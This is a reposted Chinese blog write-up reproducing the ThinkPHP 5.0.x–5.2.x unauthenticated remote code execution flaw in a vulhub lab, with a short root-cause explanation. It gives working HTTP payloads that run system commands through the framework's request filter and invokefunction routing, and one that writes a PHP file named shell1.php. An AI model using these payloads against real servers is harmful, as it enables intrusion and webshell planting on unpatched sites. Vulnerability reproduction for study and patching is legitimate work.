ThinkPHP 5.0.x、5.1.x、5.2.x 全版本遠程命令執行漏洞


ThinkPHP 5.0.x、5.1.x、5.2.x 全版本遠程代碼執行漏洞

作者:SoulCat. 
來源:CSDN 
原文:https://blog.csdn.net/csacs/article/details/86668057 
版權聲明:本文為博主原創文章,轉載請附上博文鏈接!

 

漏洞概述:
ThinkPHP是一個快速、兼容而且簡單的輕量級國產PHP開發框架。借鑒Struts框架的Action對象,同時也使用面向對象的開發結構和MVC模式。1月11日,ThinkPHP官方發布新版本5.0.24,在1月14日和15日發布兩個更新,這幾次更新都修復了遠程代碼執行漏洞,對於5.0.x、5.1.x、5.2.x 這幾個版本,都無需登入可以進行遠程代碼執行。
漏洞版本:
5.0.x
5.1.x
5.2.x
漏洞搭建:
利用vulhub漏洞平台(簡單粗暴,可一鍵生成漏洞!)進行快速搭建,cd 到thinkphp目錄,任意選擇一個版本,然后docker-compose up -d
5.1.x之后,必須在本地搭建,vulhub未提供。
如圖所示搭建成功,走起!

漏洞復現:
分兩個版本5.0.x和5.1.x、5.2.x,分別驗證。
1.版本5.0.x
將控制的url參數s的設置為captcha,並且設置post數據:_method=__construct&filter=system&method=get&server[REQUEST_METHOD]=whoami
-

成功執行命令

針對於這個版本還有一個漏洞,主要由於框架對控制器名沒有進行足夠的檢測會導致在沒有開啟強制路由的情況下可能的遠程命令執行漏洞。

遠程執行命令payload(不唯一):s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

寫文件payload(不唯一):?s=/index/think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell1.php&vars[1][]=<?phpinfo();?>i

 


2.版本5.1.x、5.2.x
這兩個版本現在用的很少,並且針對於這兩個版本有點雞肋,需要index.php文件中跳過報錯提示。 語句:error_reporting(0);
Payload:a=system&b=whoami&_method=filter


漏洞修復:
及時打補丁。
前方道路坎坷,記得及時行樂。
總結:
這兩個版本的遠程漏洞本質上都是變量覆蓋漏洞,在一處存在缺陷的方法中沒有對用戶輸入做嚴格判斷,通過傳遞_method參數覆蓋了配置文件的_method,導致可以訪問Request類的任意函數,而在Request的構造函數中又創建了惡意的成員變量,導致后面的命令執行;而在5.1和5.2版本中則是直接覆蓋過濾器,在忽略運行異常時可以觸發漏洞,也是很棒棒,膜拜大佬!
ps:萌新一枚,余生很長,請多指教。

---------------------


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM